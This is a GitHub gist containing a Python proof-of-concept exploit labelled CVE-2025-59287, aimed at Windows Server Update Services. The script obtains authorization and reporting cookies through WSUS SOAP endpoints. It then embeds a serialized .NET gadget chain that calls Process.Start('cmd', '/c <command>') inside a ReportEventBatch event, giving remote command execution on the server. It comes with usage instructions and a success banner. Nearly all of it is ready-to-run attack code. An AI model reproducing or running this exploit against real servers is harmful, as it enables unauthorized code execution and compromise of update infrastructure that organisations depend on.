Skip to content

Instantly share code, notes, and snippets.

@Shrfnt77
Created October 27, 2025 11:07
Show Gist options
  • Save Shrfnt77/c200630069b56b3b7f454d3e6e336e78 to your computer and use it in GitHub Desktop.
Save Shrfnt77/c200630069b56b3b7f454d3e6e336e78 to your computer and use it in GitHub Desktop.
CVE-2025-59287
#!/usr/bin/env python3
import requests
import urllib3
import xml.etree.ElementTree as ET
from datetime import datetime, timezone
import sys
import uuid
from xml.sax.saxutils import escape
import base64
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_auth_cookie(target, server_id=None):
url = f"{target}/SimpleAuthWebService/SimpleAuth.asmx"
headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"', 'Content-Type': 'text/xml'}
if server_id is None:
server_id = str(uuid.uuid4())
soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
<clientId>{server_id}</clientId>
<targetGroupName></targetGroupName>
<dnsName>hawktrace.local</dnsName>
</GetAuthorizationCookie>
</soap:Body>
</soap:Envelope>'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
for elem in root.iter():
if 'CookieData' in elem.tag and elem.text:
print(f"[+] Using ID: {server_id}")
return elem.text
except Exception as e:
print(f"[-] Auth cookie error: {e}")
return None
def get_server_id(target):
url = f"{target}/ReportingWebService/ReportingWebService.asmx"
headers = {
'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"',
'Content-Type': 'text/xml'
}
soap_body = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
</GetRollupConfiguration>
</soap:Body>
</soap:Envelope>'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
for elem in root.iter():
if 'ServerId' in elem.tag and elem.text:
print(f"[+] Server ID: {elem.text}")
return elem.text
except Exception as e:
print(f"[-] Server ID error: {e}")
fallback_id = str(uuid.uuid4())
print(f"[!] Using fallback ID: {fallback_id}")
return fallback_id
def get_reporting_cookie(target, auth_cookie):
url = f"{target}/ClientWebService/Client.asmx"
headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"', 'Content-Type': 'text/xml'}
timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')
soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>{auth_cookie}</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<lastChange>{timenow}</lastChange>
<currentTime>{timenow}</currentTime>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
cookie_data = {}
for elem in root.iter():
if 'Expiration' in elem.tag:
cookie_data['expiration'] = elem.text
elif 'EncryptedData' in elem.tag:
cookie_data['encrypted_data'] = elem.text
if 'encrypted_data' in cookie_data:
return cookie_data
except:
pass
return None
def GetEncodedCommand(command):
b1 = b'\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x04\x01\x00\x00\x00\x1cSystem.Resources.ResourceSet\x02\x00\x00\x00\x05Table\x15_caseInsensitiveTable\x03\x03\x1cSystem.Collections.Hashtable\x1cSystem.Collections.Hashtable\t\x02\x00\x00\x00\n\x04\x02\x00\x00\x00\x1cSystem.Collections.Hashtable\x07\x00\x00\x00\nLoadFactor\x07Version\x08Comparer\x10HashCodeProvider\x08HashSize\x04Keys\x06Values\x00\x00\x03\x03\x00\x05\x05\x0b\x08\x1cSystem.Collections.IComparer$System.Collections.IHashCodeProvider\x08\xecQ8?\x01\x00\x00\x00\n\n\x03\x00\x00\x00\t\x03\x00\x00\x00\t\x04\x00\x00\x00\x10\x03\x00\x00\x00\x01\x00\x00\x00\x06\x05\x00\x00\x00\x00\x10\x04\x00\x00\x00\x01\x00\x00\x00\t\x06\x00\x00\x00\x0c\x07\x00\x00\x00FSystem,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089\x05\x06\x00\x00\[email protected]`1[[System.String,mscorlib]]\x04\x00\x00\x00\x05Count\x08Comparer\x07Version\x05Items\x00\x03\x00\x06\x08ISystem.Collections.Generic.ComparisonComparer`1[[System.String,mscorlib]]\x08\x07\x00\x00\x00\x02\x00\x00\x00\t\x08\x00\x00\x00\x02\x00\x00\x00\t\t\x00\x00\x00\x04\x08\x00\x00\x00ISystem.Collections.Generic.ComparisonComparer`1[[System.String,mscorlib]]\x01\x00\x00\x00\x0b_comparison\x03"System.DelegateSerializationHolder\t\n\x00\x00\x00\x11\t\x00\x00\x00\x02\x00\x00\x00\x06\x0b\x00\x00\x00\xd3\x0f/c '
b2 = b'\x06\x0c\x00\x00\x00\x03cmd\x04\n\x00\x00\x00"System.DelegateSerializationHolder\x03\x00\x00\x00\x08Delegate\x07method0\x07method1\x03\x03\x030System.DelegateSerializationHolder+DelegateEntry/System.Reflection.MemberInfoSerializationHolder/System.Reflection.MemberInfoSerializationHolder\t\r\x00\x00\x00\t\x0e\x00\x00\x00\t\x0f\x00\x00\x00\x04\r\x00\x00\x000System.DelegateSerializationHolder+DelegateEntry\x07\x00\x00\x00\x04type\x08assembly\x06target\x12targetTypeAssembly\x0etargetTypeName\nmethodName\rdelegateEntry\x01\x01\x02\x01\x01\x01\x030System.DelegateSerializationHolder+DelegateEntry\x06\x10\x00\x00\x00\xa4\x01System.Func`3[[System.String,mscorlib],[System.String,mscorlib],[System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089]]\x06\x11\x00\x00\x00\x08mscorlib\n\x06\x12\x00\x00\x00FSystem,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089\x06\x13\x00\x00\x00\x1aSystem.Diagnostics.Process\x06\x14\x00\x00\x00\x05Start\t\x15\x00\x00\x00\x04\x0e\x00\x00\x00/System.Reflection.MemberInfoSerializationHolder\x06\x00\x00\x00\x04Name\x0cAssemblyName\tClassName\tSignature\nMemberType\x10GenericArguments\x01\x01\x01\x01\x00\x03\x08\rSystem.Type[]\t\x14\x00\x00\x00\t\x12\x00\x00\x00\t\x13\x00\x00\x00\x06\x19\x00\x00\x00>System.Diagnostics.Process Start(System.String, System.String)\x08\x00\x00\x00\n\x01\x0f\x00\x00\x00\x0e\x00\x00\x00\x06\x1a\x00\x00\x00\x07Compare\t\x11\x00\x00\x00\x06\x1c\x00\x00\x00\rSystem.String\x06\x1d\x00\x00\x00+Int32 Compare(System.String, System.String)\x08\x00\x00\x00\n\x01\x15\x00\x00\x00\r\x00\x00\x00\x06\x1e\x00\x00\x00-System.Comparison`1[[System.String,mscorlib]]\t\x11\x00\x00\x00\n\t\x11\x00\x00\x00\t\x1c\x00\x00\x00\t\x1a\x00\x00\x00\n\x0b'
c = 2000
cmd = command.encode('ascii')
if(len(cmd) > c):
print("[!] Command must be at max 2000 chars exiting...")
sys.exit()
if len(cmd) < c:
cmd += b" " * (c - len(cmd))
return base64.b64encode(b1 + cmd + b2).decode('ascii')
def send_malicious_event(target, cookie,bstr):
url = f"{target}/ReportingWebService/ReportingWebService.asmx"
target_sid = str(uuid.uuid4())
event_instance_id = str(uuid.uuid4())
timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3]
popcalc = f'''<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">{bstr}</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>'''
soap_body = f'''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie>
<Expiration>{cookie['expiration']}</Expiration>
<EncryptedData>{cookie['encrypted_data']}</EncryptedData>
</cookie>
<clientTime>{timenow}</clientTime>
<eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
<ReportingEvent>
<BasicData>
<TargetID>
<Sid>{target_sid}</Sid>
</TargetID>
<SequenceNumber>0</SequenceNumber>
<TimeAtTarget>{timenow}</TimeAtTarget>
<EventInstanceID>{event_instance_id}</EventInstanceID>
<NamespaceID>2</NamespaceID>
<EventID>389</EventID>
<SourceID>301</SourceID>
<UpdateID>
<UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
<RevisionNumber>0</RevisionNumber>
</UpdateID>
<Win32HResult>0</Win32HResult>
<AppName>LocalServer</AppName>
</BasicData>
<ExtendedData>
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey={escape(popcalc)}</string>
</MiscData>
</ExtendedData>
<PrivateData>
<ComputerDnsName></ComputerDnsName>
<UserAccountName></UserAccountName>
</PrivateData>
</ReportingEvent>
</eventBatch>
</ReportEventBatch>
</soap:Body>
</soap:Envelope>'''
headers = {
'Connection': 'Keep-Alive',
'Content-Type': 'text/xml',
'Accept': 'text/xml',
'User-Agent': 'Windows-Update-Agent',
'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"',
'Host': target.replace('http://', '').replace('https://', '')
}
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200 and 'true' in response.text:
return True, event_instance_id, target_sid
else:
return False, None, None
except Exception as e:
print(f"[DEBUG] Exception: {e}")
return False, None, None
def main():
if len(sys.argv) < 3:
print("Usage: python HawkTrace.py <target_url> <command>")
print("Example: python HawkTrace.py http://192.168.1.100:8530 calc.exe")
sys.exit(1)
target = sys.argv[1]
command = sys.argv[2]
print(r"""
_ _ _
| | | | | |
| |__ __ ___ _| | _| |_ _ __ __ _ ___ ___
| '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \
| | | | (_| |\ V V /| <| |_| | | (_| | (_| __/
|_| |_|\__,_| \_/\_/ |_|\_\\__|_| \__,_|\___\___|
Batuhan Er @int20z
CVE-2025-59287
""")
print()
print("[+] Getting Server ID...")
server_id = get_server_id(target)
print("[+] Auth cookie with Server ID...")
auth_cookie = get_auth_cookie(target, server_id)
if not auth_cookie:
print("[-] Failed")
return
cookie = get_reporting_cookie(target, auth_cookie)
if not cookie:
print("[-] Failed")
return
print("[+] Sending event with payload...")
cmd = GetEncodedCommand(command)
success, event_id, target_sid = send_malicious_event(target, cookie,cmd)
if success:
print("[+] SUCCESS!")
print("[!] RCE will trigger!")
else:
print("[-] Failed")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment